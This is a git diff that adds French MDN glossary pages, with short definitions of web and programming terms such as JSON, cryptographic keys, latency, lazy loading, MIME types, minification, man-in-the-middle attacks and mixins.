JSON permet de représenter des nombres, des booléens, des chaînes de caractères, la valeur null, des tableaux (séquences ordonnées de valeurs) et des objets (correspondances chaînes-valeurs) composés de ces valeurs (ou d'autres tableaux ou objets). Il ne permet pas, nativement, de représenter des données plus complexes comme des fonctions, des expressions rationnelles ou des dates. (Les objets Date sont traduits vers une chaîne de caractères selon un format ISO, cela permet pour certains cas, d'assurer le transport de ces données.)  Si vous avez besoin de représenter des valeurs d'autres types de données, vous pouvez les transformer lors de la conversion en chaîne de caractères ou avant de les reconvertir en objets JavaScript. 

+ +

Tout comme XML, JSON permet de conserver des données hiérarchiques, ce qui n'est pas le cas avec le format CSV traditionnel. De nombreux outils permettent de convertir des données entre ces formats comme ce  convertisseur JSON vers CSV ou bien celui-ci.

+ +

En savoir plus

+ +

Connaissances générales

+ +
    +
  • {{interwiki("wikipedia", "JSON", "JSON")}} sur Wikipédia
    • +
+ +

Référence technique

+ +
    +
  • {{Link("/fr/docs/Web/JavaScript/Reference/Objets_globaux/JSON")}} sur MDN
    • +
diff --git a/files/fr/glossary/key/index.html b/files/fr/glossary/key/index.html new file mode 100644 index 0000000000..0c8b2118ae --- /dev/null +++ b/files/fr/glossary/key/index.html @@ -0,0 +1,18 @@ +--- +title: Clé +slug: Glossaire/Clé +tags: + - Cryptographie + - Glossaire + - Sécurité +translation_of: Glossary/Key +--- +

Une clé est une information utilisée par un {{Glossary("Cipher","chiffre")}} pour l'{{Glossary("Encryption","encryptage")}} et/ou le {{Glossary("Decryption","décryptage")}}. Les messages cryptés doivent rester sécurisés même si tout ce qui concerne le {{Glossary("Cryptosystem","système de cryptage")}}, sauf la clé, est de notoriété publique.

+ +

En {{Glossary("Symmetric-key cryptography","cryptographie à clé symétrique")}}, la même clé est utilisée pour l'encryptage et le décryptage. En {{Glossary("Public-key cryptography","cryptographie à clé publique")}}, il existe une paire de clés connexes connues comme la clé publique et la clé privée . La clé publique est is disponible gratuitement, alors que la clé privée est gardée secrète. La clé publique est capable de chiffrer des messages que seule la clé privée correspondante est capable de déchiffrer, et vice versa.

+ +

En apprendre plus

+ + diff --git a/files/fr/glossary/keyword/index.html b/files/fr/glossary/keyword/index.html new file mode 100644 index 0000000000..43676e3feb --- /dev/null +++ b/files/fr/glossary/keyword/index.html @@ -0,0 +1,21 @@ +--- +title: Mot-clé +slug: Glossaire/Keyword +tags: + - Glossaire + - Mot-clé + - Recherche + - recherche par mot-clé +translation_of: Glossary/Keyword +--- +

Un mot-clé est un mot ou une phrase décrivant un contenu. En ligne, les mots-clés sont utilisés comme requêtes pour les moteurs de recherche ou comme des termes identifiant le contenu de sites web.

+ +

Lorsque vous utilisez un moteur de recherche, les mots-clés désignent ce que vous recherchez, et le moteur de recherche renvoie les pages web pertinentes. Pour des résultats plus précis, essayez des mots-clés plus spécifiques, comme "Mustang GTO Bleue" au lieu de simplement "Mustang". Les pages web emploient aussi les mots-clés dans les balises meta (dans la section {{htmlelement("head")}}) pour décrire le contenu des pages afin que les moteurs de recherche puissent mieux identifier et organiser les pages web.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Mot_clef", "Mot-clé")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/latency/index.html b/files/fr/glossary/latency/index.html new file mode 100644 index 0000000000..ff9cda00c1 --- /dev/null +++ b/files/fr/glossary/latency/index.html @@ -0,0 +1,22 @@ +--- +title: Latence +slug: Glossaire/Latence +tags: + - Audio + - Glossaire + - Media + - Performance Web + - Reference + - Réseau + - Video +translation_of: Glossary/Latency +--- +

La latence est le temps réseau nécessaire pour qu'une ressource demandée atteigne sa destination. Une latence faible est bonne, ce qui signifie qu'il y a peu ou pas de délai. Une latence forte est mauvaise, ce qui signifie que la ressource demandée prend beaucoup de temps à atteindre sa destination.

+ +

La latence peut être un facteur dans tout type de flux de données, mais le terme est le plus souvent employé en tant que latence réseau (le temps nécessaire pour qu'un paquet de données se propage d'une source jusqu'à sa destination) et latence codec média (le temps nécessaire pour qu'une donnée source soit encodée ou décodée et atteigne le consommateur de la donnée finale).

+ +

Pour approfondir

+ + diff --git a/files/fr/glossary/lazy_load/index.html b/files/fr/glossary/lazy_load/index.html new file mode 100644 index 0000000000..83374fd49a --- /dev/null +++ b/files/fr/glossary/lazy_load/index.html @@ -0,0 +1,17 @@ +--- +title: Lazy load +slug: Glossaire/Lazy_load +tags: + - Glossary + - Lazy loading + - Reference + - Web Performance +translation_of: Glossary/Lazy_load +--- +

Lazy load (ou "chargement faineant" en français) est une stratégie qui repousse le chargement de certaines ressources (par exemple, des images) jusqu'à ce qu'elles soient nécessaires pour l'utilisateur, d'après l'activité de l'utilisateur et ses habitudes de navigation. Typiquement, ces ressources ne sont chargées que lorsqu'elles apparaissent sur la page affichée à l'écran. Lorsque le lazy-loading est correctement implémenté, le temps de chargement des ressources est réduit, ce qui contribue à améliorer le temps de charge initial (dont le time to interactive), puisque moins de ressources sont nécessaires pour que la page fonctionne.    

+ +

Voir également

+ + diff --git a/files/fr/glossary/lgpl/index.html b/files/fr/glossary/lgpl/index.html new file mode 100644 index 0000000000..76aec58f52 --- /dev/null +++ b/files/fr/glossary/lgpl/index.html @@ -0,0 +1,21 @@ +--- +title: LGPL +slug: Glossaire/LGPL +tags: + - Glossaire + - Licence + - OpenPractices + - Partage + - Remixing +translation_of: Glossary/LGPL +--- +

La LGPL (GNU Lesser General Public License) est une licence de logiciel libre publiée par la Free Software Foundation. Elle constitue une alternative plus permissive que la stricte {{Glossary("GPL")}} {{Glossary("copyleft")}}. Alors que tout travail dérivé d'un programme sous licence GPL doit être distribué sous les mêmes termes (liberté d'utiliser, de partager, d'étudier et de modifier), la LGPL n'impose qu'au composant sous LGPL d'un programme dérivé de continuer à utiliser la LGPL, pas au programme dans son intégralité. La LGPL est habituellement utilisée comme licence pour les composants partagés comme les bibliothèques (.dll, .so, .jar, etc.).

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "GNU Lesser General Public License", "GNU LGPL")}} sur Wikipédia
    • +
  • Texte de la licence LGPL sur gnu.org
    • +
diff --git a/files/fr/glossary/ligature/index.html b/files/fr/glossary/ligature/index.html new file mode 100644 index 0000000000..611b3208ee --- /dev/null +++ b/files/fr/glossary/ligature/index.html @@ -0,0 +1,20 @@ +--- +title: Ligature +slug: Glossaire/Ligature +tags: + - CSS + - Design + - Glossaire +translation_of: Glossary/Ligature +--- +

Une ligature est une fusion de deux caractères en un seul nouveau caractère. Par exemple, en français, "œ" est une ligature de "oe".

+ +

Vous pouvez implémenter les ligatures dans vos pages web avec {{cssxref("font-variant-ligatures")}}.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Ligature (écriture)", "Ligature")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/local_scope/index.html b/files/fr/glossary/local_scope/index.html new file mode 100644 index 0000000000..ab16092347 --- /dev/null +++ b/files/fr/glossary/local_scope/index.html @@ -0,0 +1,17 @@ +--- +title: Portée locale +slug: Glossaire/Portée_locale +tags: + - Encodage + - Glossaire +translation_of: Glossary/Local_scope +--- +

La portée locale est une caractéristique des {{glossary("Variable","variables")}} qui les rend locales (c'est-à-dire, le nom de la variable est lié à sa {{glossary("Value","valeur")}} seulement à l'intérieur d'une portée qui n'est pas la {{glossary("Global scope","portée globale")}}).

+ +

Pour approfondir

+ +

General knowledge

+ +
    +
  • {{interwiki("wikipedia", "Portée (informatique)", "Portée")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/local_variable/index.html b/files/fr/glossary/local_variable/index.html new file mode 100644 index 0000000000..c52259f5cf --- /dev/null +++ b/files/fr/glossary/local_variable/index.html @@ -0,0 +1,17 @@ +--- +title: Variable locale +slug: Glossaire/Variable_locale +tags: + - Encodage + - Glossaire +translation_of: Glossary/Local_variable +--- +

Une {{glossary("Variable","variable")}} dont le nom est associé à sa {{glossary("Value","valeur")}} uniquement dans une {{Glossary("Local scope","portée locale")}}.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Variable locale", "Variable locale")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/locale/index.html b/files/fr/glossary/locale/index.html new file mode 100644 index 0000000000..a2bea7a491 --- /dev/null +++ b/files/fr/glossary/locale/index.html @@ -0,0 +1,16 @@ +--- +title: Locale +slug: Glossaire/Locale +translation_of: Glossary/Locale +--- +

Les locales sont un ensemble de paramètres régionaux pour l'interface utilisateur basés sur la langue ou le pays.

+ +

Un programme tire ses règles de locale de la langue du système hôte. Entres autres choses, les locales contiennent le format de papier, la devise, le format de date ou des nombres en usage dans une région donnée.

+ +

En savoir plus

+ +

Connaissances générales

+ + diff --git a/files/fr/glossary/localization/index.html b/files/fr/glossary/localization/index.html new file mode 100644 index 0000000000..30a81b2224 --- /dev/null +++ b/files/fr/glossary/localization/index.html @@ -0,0 +1,44 @@ +--- +title: Localisation +slug: Localization +tags: + - Glossaire + - Langue + - Localisation + - Paramètres régionaux +translation_of: Glossary/Localization +--- +
+

La localisation (l10n) est le processus d'adaptation d'une interface utilisateur de logiciel à une culture spécifique.

+ +

Les facteurs communs suivants sont à considérer :

+ +
    +
  • la langue
    • +
  • les unités de mesure (par exemple, kilomètres en Europe, miles aux U.S.)
    • +
  • la direction du texte (par exemple, de gauche à droite pour les langues européennes et de droite à gauche pour l'arabe)
    • +
  • les lettres capitales en écriture latine (par exemple, des capitales pour les jours de la semaine en anglais, des minuscules en espagnol)
    • +
  • l'adaptation des locutions (par exemple, "raining cats and dogs"  n'a aucun sens si elle est traduite littéralement).
    • +
  • l'utilisation du registre (par exemple, en japonais, le discours respectueux diffère du discours occasionnel)
    • +
  • le format des nombres (par exemple, 10 000,00 en allemand et 10,000.00 aux U.S.)
    • +
  • le format des dates
    • +
  • les devises monétaires
    • +
  • les références culturelles
    • +
  • la taille du papier
    • +
  • la psychologie des couleurs
    • +
  • le respect des lois locales
    • +
  • les vacances locales
    • +
  • Les noms de personnes
    • +
+
+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Link("fr/docs/Mozilla/Localization")}} sur MDN
    • +
  • {{interwiki("wikipedia", "Localisation_linguistique", "Localisation")}} sur Wikipedia
    • +
+ +

 

diff --git a/files/fr/glossary/loop/index.html b/files/fr/glossary/loop/index.html new file mode 100644 index 0000000000..30cee61e61 --- /dev/null +++ b/files/fr/glossary/loop/index.html @@ -0,0 +1,20 @@ +--- +title: boucle +slug: Glossaire/loop +tags: + - Glossaire + - Programmation + - scripts +translation_of: Glossary/loop +--- +

En {{Glossary("computer programming","programmation informatique")}}, une boucle est une séquence d'instructions répétées jusqu'à ce qu'une certaine condition soit vérifiée. Par exemple, le processus consistant à obtenir un élément parmi des données pour le modifier, et ensuite vérifier une {{Glossary("conditional","condition")}} , comme le fait qu'un compteur atteigne une valeur définie.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia","Structure_de_contr%C3%B4le#Boucles","Boucles")}} sur Wikipédia
    • +
+ +

 

diff --git a/files/fr/glossary/lossless_compression/index.html b/files/fr/glossary/lossless_compression/index.html new file mode 100644 index 0000000000..244641193e --- /dev/null +++ b/files/fr/glossary/lossless_compression/index.html @@ -0,0 +1,26 @@ +--- +title: Compression sans perte +slug: Glossaire/Compression_sans_perte +tags: + - Débutant + - Glossaire + - Images + - Performance Web + - compression + - données +translation_of: Glossary/Lossless_compression +--- +

La compression sans perte est un type d'algorithme de compression qui permet aux données d'origine d'être parfaitement restituées à partir des données compressées. Les méthodes de compression sans perte sont réversibles. Parmi les exemples de compression sans perte on retrouve {{glossary("GZIP")}}, {{glossary("Brotli")}}, WebP, and {{glossary("PNG")}},

+ +

{{glossary("Lossy compression")}}, en revanche, résulte en une approximation inexacte, puisque certaines données du fichier d'origine ont été abandonnées, faisant de la compression avec perte une méthode irréversible.

+ + diff --git a/files/fr/glossary/lossy_compression/index.html b/files/fr/glossary/lossy_compression/index.html new file mode 100644 index 0000000000..5b8a1a77f8 --- /dev/null +++ b/files/fr/glossary/lossy_compression/index.html @@ -0,0 +1,28 @@ +--- +title: Compression avec perte +slug: Glossaire/compression_avec_perte +tags: + - Débutant + - Glossaire + - Images + - JPEG + - compression +translation_of: Glossary/lossy_compression +--- +

La compression avec perte, ou compression irréversible, est une méthode de compression des données qui réalise des approximations inexactes et abandonne une partie des données pour représenter un contenu.

+ +

Pour le dire simplement : la compression avec perte entraîne une perte de données du fichier d'origine, entraînant une possible dégradation de sa qualité.

+ +

Le processus de compression est ici irréversible; une fois la compression avec perte réalisée, le contenu ne peut pas retrouver son état initial. C'est pourquoi le contenu ainsi compressé ne devrait plus, en principe, être à nouveau édité.

+ +

La compression avec perte est largement utilisée pour les formats d'image.

+ +

Lossy compression image

+ +

Même s'il n'y a pas de différence flagrante de qualité entre les deux images ci-dessus, la taille de la seconde a été considérablement réduite grâce à une compression avec perte.

+ +

Voir aussi

+ + diff --git a/files/fr/glossary/ltr/index.html b/files/fr/glossary/ltr/index.html new file mode 100644 index 0000000000..4d5fc4d8bc --- /dev/null +++ b/files/fr/glossary/ltr/index.html @@ -0,0 +1,10 @@ +--- +title: ltr +slug: Glossaire/ltr +tags: + - Composing + - Glossaire + - Localisation +translation_of: Glossary/ltr +--- +

ltr (Left To Right, soit gauche vers droite) est une propriété de {{glossary("locale")}} qui indique que le texte est écrit de la gauche vers la droite. Par exemple, la locale en-US (pour Anglais US) indique une écriture de gauche à droite.

diff --git a/files/fr/glossary/main_axis/index.html b/files/fr/glossary/main_axis/index.html new file mode 100644 index 0000000000..35acf19fae --- /dev/null +++ b/files/fr/glossary/main_axis/index.html @@ -0,0 +1,51 @@ +--- +title: Axe principal +slug: Glossaire/Axe_principal +tags: + - CSS + - Glossaire + - axes + - flexbox +translation_of: Glossary/Main_Axis +--- +

L'axe principal d'une {{glossary("flexbox")}} est déterminé par la direction définie dans la propriété {{cssxref("flex-direction")}}. Il y a 4 valeurs possibles pour flex-direction. Ce sont :

+ +
    +
  • row (ligne)
    • +
  • row-reverse
    • +
  • column (colonne)
    • +
  • column-reverse
    • +
+ +

Si vous choisissez row ou row-reverse votre axe principal passera alors le long de la ligne dans le sens de la direction définie.

+ +

In this image the flex-direction is row which forms the main axis

+ +

Choisissez column ou column-reverse et votre axe principal parcourt du début au pied de la page dans la direction du bloc.

+ +

+ +

Sur l'axe principal, vous pouvez contrôler le dimensionnement des éléments flexibles en ajoutant tout espace disponible aux éléments eux-mêmes, par le biais des propriétés flex sur les éléments. Ou, vous pouvez contrôler l'espace entre et autour des éléments en utilisant la propriété justify-content.

+ +

En apprendre plus

+ +

Références de la propriété

+ +
+
    +
  • {{cssxref("flex-basis")}}
    • +
  • {{cssxref("flex-direction")}}
    • +
  • {{cssxref("flex-grow")}}
    • +
  • {{cssxref("flex-shrink")}}
    • +
  • {{cssxref("justify-content")}}
    • +
  • {{cssxref("flex")}}
    • +
+
+ +

En lire plus

+ + diff --git a/files/fr/glossary/mathml/index.html b/files/fr/glossary/mathml/index.html new file mode 100644 index 0000000000..9e95854608 --- /dev/null +++ b/files/fr/glossary/mathml/index.html @@ -0,0 +1,26 @@ +--- +title: MathML +slug: Glossaire/MathML +tags: + - CodingScripting + - Glossaire + - MathML + - Mathematical Markup Language + - XML +translation_of: Glossary/MathML +--- +

MathML (une application {{glossary("XML")}}) est un standard ouvert destiné à représenter des formules mathématiques dans des pages web. En 1998, MathML était d'abord une recommandation du W3C pour représenter des formules mathématiques dans le {{glossary("navigateur")}}. MathML a également d'autres applications parmi lesquelles les informations scientifiques et la synthèse vocale.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "MathML", "MathML")}} sur Wikipédia
    • +
+ +

Référence technique

+ +
    +
  • {{spec("http://www.w3.org/Math/whatIsMathML.html", "MathML", "REC")}}
    • +
diff --git a/files/fr/glossary/media/css/index.html b/files/fr/glossary/media/css/index.html new file mode 100644 index 0000000000..677bf4253f --- /dev/null +++ b/files/fr/glossary/media/css/index.html @@ -0,0 +1,32 @@ +--- +title: Média (CSS) +slug: Glossaire/Media/CSS +tags: + - CSS + - Glossaire + - Intro + - Media +translation_of: Glossary/Media/CSS +--- +

Dans le contexte de {{Glossary("CSS")}} (Cascading Style Sheets), le terme média fait référence à la destination vers laquelle le document doit être dessiné par le {{Glossary("rendering engine")}}. Il s'agit généralement d'un écran—mais il peut également s'agir d'une imprimante, d'un synthétiseur vocal, d'un afficheur Braille ou d'un autre type de périphérique.

+ +

CSS offre plusieurs fonctionnalités qui vous permettent d'ajuster les styles de votre document—ou même d'offrir différents styles—en fonction du type de support (tel que l'écran ou impression, pour n'en nommer que deux) ou des capacités de support (telles que la largeur, la résolution ou d'autres valeurs) de l'appareil du spectateur.

+ +

Apprendre plus

+ +

Culture générale

+ + + +

Référence technique

+ +
+
Requêtes médias
+
Définissez un ensemble de caractéristiques ou de paramètres requis pour appliquer les styles CSS qui sont spécifiés entre les accolades de la requête multimédia; par exemple: appliquer uniquement certains styles CSS pour les appareils inférieurs à 768 pixels.
+
{{cssxref("@media")}} at-rule
+
Appliquez conditionnellement une partie d'une feuille de style, en fonction du résultat d'une requête multimédia.
+
{{domxref("Window.matchMedia()")}}
+
Testez le périphérique de visualisation par rapport à une requête multimédia.
+
diff --git a/files/fr/glossary/media/index.html b/files/fr/glossary/media/index.html new file mode 100644 index 0000000000..f883de8273 --- /dev/null +++ b/files/fr/glossary/media/index.html @@ -0,0 +1,17 @@ +--- +title: Media +slug: Glossaire/Media +tags: + - Désambiguïsation + - Glossaire +translation_of: Glossary/Media +--- +

Le terme média est surchargé quand on parle du Web ; il prend des significations différentes selon le contexte.

+ +

{{GlossaryDisambiguation}}

+ +

Apprendre plus

+ +
    +
  • {{interwiki("wikipedia", "Media")}} on Wikipedia
    • +
diff --git a/files/fr/glossary/metadata/index.html b/files/fr/glossary/metadata/index.html new file mode 100644 index 0000000000..22c547e97f --- /dev/null +++ b/files/fr/glossary/metadata/index.html @@ -0,0 +1,25 @@ +--- +title: Métadonnée +slug: Glossaire/Métadonnée +tags: + - CodingScripting + - Glossaire + - HTML + - métadonnée +translation_of: Glossary/Metadata +--- +

Une métadonnée est — dans sa définition la plus simple — une donnée qui décrit une donnée. Par exemple, un document {{glossary("HTML")}} est une donnée, mais son élément {{htmlelement("head")}} peut aussi contenir des métadonnées le décrivant — par exemple qui l'a écrit, ou son résumé.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Métadonnée", "Métadonnée")}} sur Wikipédia
    • +
+ +

Métadonnée HTML

+ +
    +
  • L'élément {{htmlelement("meta")}} sur MDN
    • +
diff --git a/files/fr/glossary/method/index.html b/files/fr/glossary/method/index.html new file mode 100644 index 0000000000..aded88ffb7 --- /dev/null +++ b/files/fr/glossary/method/index.html @@ -0,0 +1,29 @@ +--- +title: Méthode +slug: Glossaire/Méthode +tags: + - Glossaire + - Programmation + - Script +translation_of: Glossary/Method +--- +

Une méthode est une {{glossary("fonction", "fonction")}} (function) qui est une {{glossary("property","propriété")}} d'un {{glossary("object","objet")}}. Il existe deux sortes de méthodes : Les méthodes d'instance qui représentent les fonctions fournissant une interface pour effectuer des actions dans le contexte de l'objet qu'elles composent ou les méthodes statiques qui représentent les fonctions pouvant être exécutées sans nécessiter d'instanciation.

+ +
+

Note: En JavaScript, les fonctions sont elles-mêmes des objets. Dans ce contexte, une méthode est plus précisément une {{glossary("object reference","référence vers un objet")}} de type function.

+
+ +

Pour approfondir

+ +

Culture générale

+ + + +

Référence technique

+ + diff --git a/files/fr/glossary/microsoft_edge/index.html b/files/fr/glossary/microsoft_edge/index.html new file mode 100644 index 0000000000..529e2a07df --- /dev/null +++ b/files/fr/glossary/microsoft_edge/index.html @@ -0,0 +1,16 @@ +--- +title: Microsoft Edge +slug: Glossaire/Microsoft_Edge +tags: + - Glossaire + - Infrastructure + - Navigateur +translation_of: Glossary/Microsoft_Edge +--- +

Microsoft Edge est un navigateur graphique gratuit fourni avec Microsoft Windows et développé par Microsoft depuis 2014. D'abord connu sous le nom de Spartan, Edge a remplacé le très ancien navigateur Microsoft {{glossary("Microsoft Internet Explorer","Internet Explorer")}}.

+ +

En savoir plus

+ + diff --git a/files/fr/glossary/microsoft_internet_explorer/index.html b/files/fr/glossary/microsoft_internet_explorer/index.html new file mode 100644 index 0000000000..0fab23fa07 --- /dev/null +++ b/files/fr/glossary/microsoft_internet_explorer/index.html @@ -0,0 +1,47 @@ +--- +title: Microsoft Internet Explorer +slug: Glossaire/Microsoft_Internet_Explorer +tags: + - Glossaire + - Internet Explorer + - Microsoft + - Microsoft Internet Explorer + - Navigateur + - Navigateur Web + - Navigation + - Système d'exploitation Windows + - Windows +translation_of: Glossary/Microsoft_Internet_Explorer +--- +

Internet Explorer (ou IE) est un {{glossary("navigateur")}} graphique gratuit maintenu par Microsoft pour conserver une compatibilité avec son utilisation en entreprise. {{glossary("Microsoft Edge")}} est actuellement le navigateur par défaut sous Windows.

+ +

Microsoft a d'abord inclus IE dans Windows en 1995 en tant que composant de l'extension appelée "Microsoft Plus!". Aux alentours de 2002, Internet Explorer est devenu le navigateur le plus utilisé au monde, mais a depuis perdu du poids face à Chrome, Firefox, Edge et Safari.

+ +

IE a évolué au fur et à mesure de nombreuses versions et en est actuellement à la 11.0.12, avec des déclinaisons sur ordinateur de bureau, appareils mobiles et console Xbox. Les versions pour Mac et UNIX, qui étaient autrefois disponibles, ont été abandonnées par Microsoft en 2003 et 2001 respectivement.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Internet Explorer", "Internet Explorer")}} sur Wikipédia
    • +
  • {{interwiki("wikipedia", "Internet Explorer#Historique", "Historique d'Internet Explorer")}} sur Wikipédia
    • +
  • {{interwiki("wikipedia", "Internet Explorer#Versions", "Versions d'Internet Explorer")}} sur Wikipédia
    • +
+ +

À propos d'Internet Explorer

+ + + +

Référence technique

+ + diff --git a/files/fr/glossary/middleware/index.html b/files/fr/glossary/middleware/index.html new file mode 100644 index 0000000000..6ea43f8afa --- /dev/null +++ b/files/fr/glossary/middleware/index.html @@ -0,0 +1,19 @@ +--- +title: Intergiciel +slug: Glossaire/Intergiciel +tags: + - Glossaire + - Programmation +translation_of: Glossary/Middleware +--- +

Intergiciel (Middleware) est un terme (défini vaguement) pour tout logiciel ou service permettant aux parties d'un système de communiquer et de gérer des données. C'est le logiciel qui gère la communication entre les composants et les entrées / sorties, de sorte que les développeurs peuvent se concentrer sur l'objectif spécifique de leur application.

+ +

Dans les frameworks d'application web côté serveur, le terme est souvent plus spécifiquement utilisé pour désigner des composants logiciels préconstruits pouvant être ajoutés au pipeline de traitement des requêtes / réponses du framework, pour gérer des tâches telles que l'accès à la base de données.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia","Middleware")}} sur Wikipedia
    • +
diff --git a/files/fr/glossary/mime/index.html b/files/fr/glossary/mime/index.html new file mode 100644 index 0000000000..fd1487f5cd --- /dev/null +++ b/files/fr/glossary/mime/index.html @@ -0,0 +1,21 @@ +--- +title: mime +slug: Glossaire/mime +tags: + - Débutant + - Glossaire + - Infrastructure + - MIME +translation_of: Glossary/mime +--- +

MIME "Multipurpose internet mail extensions" est un standard pour décrire des documents sous d'autres formes que du texte ASCII, par exemple audio, vidéo et images. Initialement utilisé pour les pièces jointes aux courriers électroniques, il est devenu le standard pour définir n'importe où les types de documents.

+ +

Voir aussi Type Mime

+ +

En apprendre plus

+ +

Culture générale

+ + diff --git a/files/fr/glossary/mime_type/index.html b/files/fr/glossary/mime_type/index.html new file mode 100644 index 0000000000..fac6477869 --- /dev/null +++ b/files/fr/glossary/mime_type/index.html @@ -0,0 +1,27 @@ +--- +title: Type MIME +slug: Glossaire/Type_MIME +tags: + - Glossaire + - Mécanismes web +translation_of: Glossary/MIME_type +--- +

Un type MIME (désormais correctement appelé "media type", mais aussi parfois "content type") est une chaîne de caractères envoyée avec un fichier pour en indiquer le type (par exemple, un fichier sonore sera étiqueté audio/ogg ou un fichier graphique image/png).

+ +

Il répond au même objectif que les extensions de fichiers traditionnellement utilisées sous Windows. Le nom vient de la norme MIME initialement utilisée dans E-Mail.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Type MIME", "Internet media type")}} sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/minification/index.html b/files/fr/glossary/minification/index.html new file mode 100644 index 0000000000..794e296c0b --- /dev/null +++ b/files/fr/glossary/minification/index.html @@ -0,0 +1,12 @@ +--- +title: minification +slug: Glossaire/minification +tags: + - Glossaire + - Performance + - Performance Web +translation_of: Glossary/minification +--- +

 La minification est le processus de suppression des données inutiles ou redondantes sans affecter la manière dont une ressource est traitée par le navigateur. La minification peut inclure la suppression des commentaires de code, des espaces blancs et du code inutilisé, ainsi que le raccourcissement des noms de variables et de fonctions. La minification est utilisée pour améliorer les performances web en réduisant la taille du fichier. Il s'agit généralement d'une étape automatisée qui se produit au moment de la construction.

+ +

Comme la minification rend le code moins lisible pour les humains, les outils de développement ont des fonctionnalités de 'prettification' qui peuvent ajouter un espace blanc dans le code pour le rendre un peu plus lisible.

diff --git a/files/fr/glossary/mitm/index.html b/files/fr/glossary/mitm/index.html new file mode 100644 index 0000000000..be886dacd8 --- /dev/null +++ b/files/fr/glossary/mitm/index.html @@ -0,0 +1,30 @@ +--- +title: MitM +slug: Glossaire/MitM +tags: + - Attaque + - Glossaire + - Sécurité +translation_of: Glossary/MitM +--- +

Une attaque de l'homme du milieu (Man-in-the-middle attack MitM) intercepte une communication entre deux systèmes. Par exemple, un routeur Wi-Fi peut être compromis.

+ +

En comparant cela au courrier physique : si vous échangez des lettres, le facteur peut intercepter chaque lettre que vous postez. Il l'ouvre, la lit, la modifie finalement, puis la reconditionne et seulement ensuite l'envoie à son destinataire initial. Celui-ci vous répond par lettre postée, et à nouveau, le facteur l'ouvre, la lit, la modifie éventuellement, la reconditionne et vous la remet. Vous ne savez pas qu'il y a un homme au milieu de votre canal de communication - le facteur est invisible pour vous et votre destinataire.

+ +

Dans le courrier physique et la communication en ligne, il est difficile de se défendre contre les attaques MitM. Quelques conseils :

+ +
    +
  • Ne pas ignorer les avertissements de certificat. Vous pourriez être connecté à un serveur d'hameçonnage ou à un serveur imposteur.
    • +
  • Les sites sensibles sans cryptage HTTPS sur les réseaux Wi-Fi publics ne sont pas fiables.
    • +
  • Vérifiez "HTTPS" dans votre barre d'adresse et assurez-vous que le chiffrement est en place avant de vous connecter.
    • +
+ +
+

En apprendre plus

+ +
    +
  • Article OWASP : Man-in-the-middle attack (en)
    • +
  • Wikipedia : Attaque de l'homme du milieu
    • +
  • L'en-tête {{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}}) peut significativement réduire le risque d'attaque MitM en demandant aux navigateurs d'exiger des certificats valides (liste blanche) pour toute connexion ultérieure à ce site.
    • +
+
diff --git a/files/fr/glossary/mixin/index.html b/files/fr/glossary/mixin/index.html new file mode 100644 index 0000000000..71e68f8164 --- /dev/null +++ b/files/fr/glossary/mixin/index.html @@ -0,0 +1,23 @@ +--- +title: Mixin +slug: Glossaire/Mixin +tags: + - Glossaire + - Méthode + - Programmation + - Propriété +translation_of: Glossary/Mixin +--- +

Un mixin est une {{Glossary("class","classe")}} ou une {{Glossary("interface","interface")}} dans laquelle  une partie ou la totalité des {{glossary("method","méthodes")}} et des {{glossary("property","propriétés")}} sont implémentées en  exigeant qu'une autre {{glossary("class","classe")}} ou {{Glossary("interface")}} fournisse les éléments manquants . La nouvelle classe ou interface inclut alors à la fois les propriétés et les méthodes du mixin ainsi que celles qu'il définit lui-même. Toutes les méthodes et propriétés sont utilisées exactement de la même façon, qu'elles soient implémentées dans le mixin ou dans l'interface, ou qu'elle soit la classe qui implémente le mixin.

+ +

L'avantage des mixins est qu'ils peuvent être utilisés pour simplifier la conception d'API dans lesquelles plusieurs interfaces doivent inclure les mêmes méthodes et propriétés.

+ +

Par exemple, le {{domxref ("WindowOrWorkerGlobalScope")}} mixin est utilisé pour fournir des méthodes et des propriétés qui doivent être disponibles à la fois sur les interfaces {{domxref ("Window")}} et {{domxref ("WorkerGlobalScope")}}. Le mixin est implémenté par ces deux interfaces.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • Mixin sur Wikipédia
    • +
diff --git a/files/fr/glossary/mobile_first/index.html b/files/fr/glossary/mobile_first/index.html new file mode 100644 index 0000000000..8cd1f60275 --- /dev/null +++ b/files/fr/glossary/mobile_first/index.html @@ -0,0 +1,10 @@ +--- +title: Mobile d'abord +slug: Glossaire/Mobile_d_abord +tags: + - Conception + - Disposition + - Glossaire +translation_of: Glossary/Mobile_First +--- +

Le "mobile d'abord", une forme d'{{Glossary("Progressive enhancement","amélioration progressive")}}, est une approche de développement et de conception web qui met l'accent sur l'établissement de priorités, en matière de conception et de développement, pour les tailles d'écrans mobiles plutôt que pour les écrans de bureau. La raison d'être de l'approche "mobile d'abord" est de fournir aux utilisateurs de bonnes expériences utilisateur à toutes les tailles d'écran, en commençant par créer une expérience utilisateur qui fonctionne bien sur les petits écrans, puis en l'optimisant pour les autres tailles d'écran. L'approche "mobile d'abord" contraste avec l'ancienne approche de la conception pour les tailles d'écran de bureau d'abord, puis seulement plus tard, en ajoutant un peu de support, pour les petites tailles d'écran.

